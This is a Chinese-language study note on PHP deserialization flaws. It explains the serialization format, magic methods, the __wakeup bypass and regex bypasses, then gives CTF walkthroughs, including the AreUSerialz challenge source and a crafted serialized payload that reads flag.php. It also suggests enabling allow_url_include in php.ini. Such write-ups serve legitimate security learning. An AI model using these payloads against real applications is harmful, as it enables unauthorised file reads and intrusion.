反序化

PHP

PHP反序列化

原理

对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致RCE,SQL注入,目录遍历等不可控后果。在反序列化的过程中会自动触发某些魔术方法。当反序列化的时候就有可能触发对象中的一些魔术方法。

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字

测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class test {
public $var1 = true;
public $var2 = "hello,world!";
public $var3 = 1;
public $var4 = 0.1;
public $var5 = null;

function myfunc ($arg1, $arg2) {
echo $arg1;
echo '</br>';
echo $arg2;
}
}

$test = new test();
//$test->myfunc($test->var1, $test->var2);
echo $ser = serialize($test).PHP_EOL;//PHP_EOL为php换行符,可以提高代码的源代码级可移植性
var_dump($unser = unserialize($ser));
?>

输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
O:4:"test":5:{s:4:"var1";b:1;s:4:"var2";s:12:"hello,world!";s:4:"var3";i:1;s:4:"var4";d:0.1;s:4:"var5";N;}
object(test)#2 (5) {
["var1"]=>
bool(true)
["var2"]=>
string(12) "hello,world!"
["var3"]=>
int(1)
["var4"]=>
float(0.1)
["var5"]=>
NULL
}

//结果中并没有记录myfunc()方法

PHP序列化字符串结构

PHP序列化字符串结构

public protected private下序列化对象的区别

测试:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class test {
public $var1 = true;
protected $var2 = "hello,world!";
private $var3 = 1;
}

$test = new test();
//$test->myfunc($test->var1, $test->var2);
echo $ser = serialize($test).PHP_EOL;//PHP_EOL为php换行符,可以提高代码的源代码级可移植性
var_dump($unser = unserialize($ser));
?>

结果:

public、protected、private下序列化对象的区别

  • public变量
    直接变量名反序列化出来

  • protected变量
    \00 + * + \00 + 变量名
    可以用S:5:"\00*\00op"来代替s:5:"?*?op" //此处的?\00字符,因为不可显示所以用?代替

    疑惑:在在线平台测试的时候S和s没什么区别,本地测试必须用S

    测试代码如下:

    1
    2
    $te = "O:5:\"test1\":1:{s:6:\"\00*\00var\";s:12:\"hello,world!\";}";//S和s都可以
    var_dump(unserialize($te));

    结果:

    1
    2
    3
    4
    5
    6
    object(__PHP_Incomplete_Class)#3 (2) {
    ["__PHP_Incomplete_Class_Name"]=>
    string(5) "test1"
    ["var":protected]=>
    string(12) "hello,world!"
    }
  • private变量
    \x00 + 类名 + \x00 + 变量名

补充:

\x:十六进制

\d:十进制

\o:八进制

\x00不可见字符

php v7.x反序列化的时候对访问类别不敏感

反序列化中S与s的区别

如果类型是S,会调用以下函数,简单来说就是将\解释成十六进制,来转成字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static zend_string *unserialize_str(const unsigned char **p, size_t len, size_t maxlen)
{
size_t i, j;
zend_string *str = zend_string_safe_alloc(1, len, 0, 0);
unsigned char *end = *(unsigned char **)p+maxlen;

if (end < *p) {
zend_string_efree(str);
return NULL;
}

for (i = 0; i < len; i++) {
if (*p >= end) {
zend_string_efree(str);
return NULL;
}
if (**p != '\\') {
ZSTR_VAL(str)[i] = (char)**p;
} else {
unsigned char ch = 0;

for (j = 0; j < 2; j++) {
(*p)++;
if (**p >= '0' && **p <= '9') {
ch = (ch << 4) + (**p -'0');
} else if (**p >= 'a' && **p <= 'f') {
ch = (ch << 4) + (**p -'a'+10);
} else if (**p >= 'A' && **p <= 'F') {
ch = (ch << 4) + (**p -'A'+10);
} else {
zend_string_efree(str);
return NULL;
}
}
ZSTR_VAL(str)[i] = (char)ch;
}
(*p)++;
}
ZSTR_VAL(str)[i] = 0;
ZSTR_LEN(str) = i;
return str;
}

魔术方法

以下内容来自于PHP官方文档中关于魔术方法的部分

构造方法和析构方法

  • __construct()
    具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
  • __destruct()
    析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

new出一个新的对象时就会调用__construct(),而对象被销毁时,例如程序退出时,就会调用__destruct()

__sleep()和__wakeup()

__sleep(),__wakeup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//示例
<?php
class Connection
{
protected $link;
private $server, $username, $password, $db;

public function __construct($server, $username, $password, $db)
{
$this->server = $server;
$this->username = $username;
$this->password = $password;
$this->db = $db;
$this->connect();
}

private function connect()
{
$this->link = mysql_connect($this->server, $this->username, $this->password);
mysql_select_db($this->db, $this->link);
}

public function __sleep()
{
return array('server', 'username', 'password', 'db');
}

public function __wakeup()
{
$this->connect();
}
}
?>

__toString()

__toString()

echo或者拼接字符串或者其他隐式调用该方法的操作都会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
// Declare a simple class
class TestClass
{
public $foo;

public function __construct($foo)
{
$this->foo = $foo;
}

public function __toString() {
return $this->foo;
}
}

$class = new TestClass('Hello');
echo $class;
?>

//输出
//Hello
//注意:在 PHP 5.2.0 之前,__toString() 方法只有在直接使用于 echo 或 print 时才能生效。PHP 5.2.0 之后,则可以在任何字符串环境生效(例如通过 printf(),使用 %s 修饰符),但不能用于非字符串环境(如使用 %d 修饰符)。自 PHP 5.2.0 起,如果将一个未定义 __toString() 方法的对象转换为字符串,会产生 E_RECOVERABLE_ERROR 级别的错误。

__set() __get() __isset() __unset()

属性重载

__invoke() __call()

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

在对象中调用一个不可访问方法时,__call() 会被调用。

其他

__callStatic(), __set_state(), __clone(), __debugInfo()等和序列化没有多大关系,详情参考官网

反序列化的利用

  • __wakeup失效
    php版本< 5.6.25 | < 7.0.10
    当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行
    例:

    1
    2
    O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
    O:4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

    __wakeup()函数失效引发漏洞(CVE-2016-7124)

  • 使用+绕过正则
    例:

    1
    2
    3
    preg_match('/[oc]:\d+:/i', $var)
    O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
    O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

    代码审计Day11 - unserialize反序列化漏洞

靶场

无类执行

地址:点login咋没反应 - Bugku CTF

wp

PHP无类执行-wp1

右键查看源码,有个css文件

PHP无类执行-wp2

点进去访问如下,发现提示?19190

PHP无类执行-wp3

加上?19190访问

PHP无类执行-wp4

访问结果

PHP无类执行-wp5

发现php源码,分析代码逻辑,包含了flag.php文件,满足条件才能输出$flag

PHP无类执行-wp6

抓包构造$cookie值,得到flag

PHP无类执行-wp7

有类魔术方法触发

地址:CTFHub中的AreUSerialz题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
// 题目
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}
wp

1.include("flag.php");看出flag应该就在这个文件中

PHP有类魔术方法触发-wp1

2.定义了一个FileHandler类,有三个protected属性,并且还有魔术方法和自定义方法

PHP有类魔术方法触发-wp2

3.类结束了有个if语句,这是关键。里面使用到了unserialize(),考点大概率就是反序列化

PHP有类魔术方法触发-wp3

4.执行顺序,由GET传参给$str,然后进行反序列化传给$obj,相当于$obj现在是一个对象,当程序结束,会自动调用$obj对象中的析构方法__destruct()__destruct()中会调用$objprocess()方法,该方法中的if语句有三条路,当protected属性op=="1"时会执行write()方法,当protected属性op=="2"时会执行read()方法,最后若都不满足上述两个便会执行output()方法输出Bad Hacker!

PHP有类魔术方法触发-wp4

PHP有类魔术方法触发-wp5

PHP有类魔术方法触发-wp6

5.选择执行write()还是read(),有第1步分析可得,应该走read()因为包含了flag大概率会在flag.php文件中,然后去看read()方法我们发现我们还需要用到一个protected属性filename,因为我们要去读flag.php得把这个值传进去

PHP有类魔术方法触发-wp7

6.明确目标任务,GET传入一段序列化字符串满足FileHandler类的定义,并且让$op == "2"$filename == "flag.php"

注意,这里还有两个考点

7.一是在最开始执行__destruct()方法时,若$op==="2"则会重新赋值令$op的值为”1”,这使得我们没办法直接去调用read()方法,这里也印证了我们之前的猜测,要获取flag应当执行read()方法而非write()方法。

PHP有类魔术方法触发-wp8

PHP有类魔术方法触发-wp9

其实也很好绕过,在__destruct()方法中使用的是===强等于,而read()方法中使用的是==弱等于,我们只需要令$op = " 2" 或 $op = 2,就能绕过限制。

8.另一个考点是自定义方法is_valid()的绕过,该方法规定字符的ASCII码必须是32-125,而FileHandler类中的属性是protected在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求,会返回false。

PHP有类魔术方法触发-wp10

PHP有类魔术方法触发-wp11

绕过方法:

①PHP7.1以上(不包含7.1)版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过。

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "1ceC0la";
}
$obj = new FileHandler();
echo serialize($obj);
?>

//payload
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"1ceC0la";}

protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

用在线工具得到payload,用S替换s,用\00替换*两侧不可见字符

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
class FileHandler {
protected $op = 2;
protected $filename = "flag.php";
protected $content = "1ceC0la";
}
$obj = new FileHandler();
echo serialize($obj);
?>

//修改后的payload:
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";s:7:"1ceC0la";}

9.最后访问http://192.168.101.155/PHPseri.php/?str=payload,再右键查看源码得到flag

PHP有类魔术方法触发-wp12

其他:

做这个题,在本地kali用phpstudy搭环境时遇到了个小问题,在使用file_get_contents()去读文件时,发现报错file_get_contents(flag.php): failed to open stream: No such file or directory in /www/admin/localhost_80/wwwroot/PHPseri.php on line 48,百度后,需要修改php.ini

1
2
3
4
5
6
7
8
9
allow_url_fopen = Off
allow_url_include = Off

改成

allow_url_fopen = On
allow_url_include = On

之后重启虚拟机就好了

在线工具

代码在线运行 - 在线工具 (tool.lu)

php代码在线测试,php在线执行 (dooccn.com)

参考链接

【小迪安全】WEB漏洞-反序列化之PHP

CTF PHP反序列化 - MustaphaMond - 博客园 (cnblogs.com)

PHP: 魔术方法 - Manual

PHP: 重载 - Manual

网鼎杯2020php反序列化,网鼎杯2020[青龙组]–AreUSerialz

Java(挖坑,以后填)

Java反序列化

靶场

Releases · WebGoat/WebGoat (github.com)

CTFHub中的think_java题目

工具

反序列化工具ysoserialReleases · frohoff/ysoserial (github.com)

参考链接

【小迪安全】WEB漏洞-反序列化之Java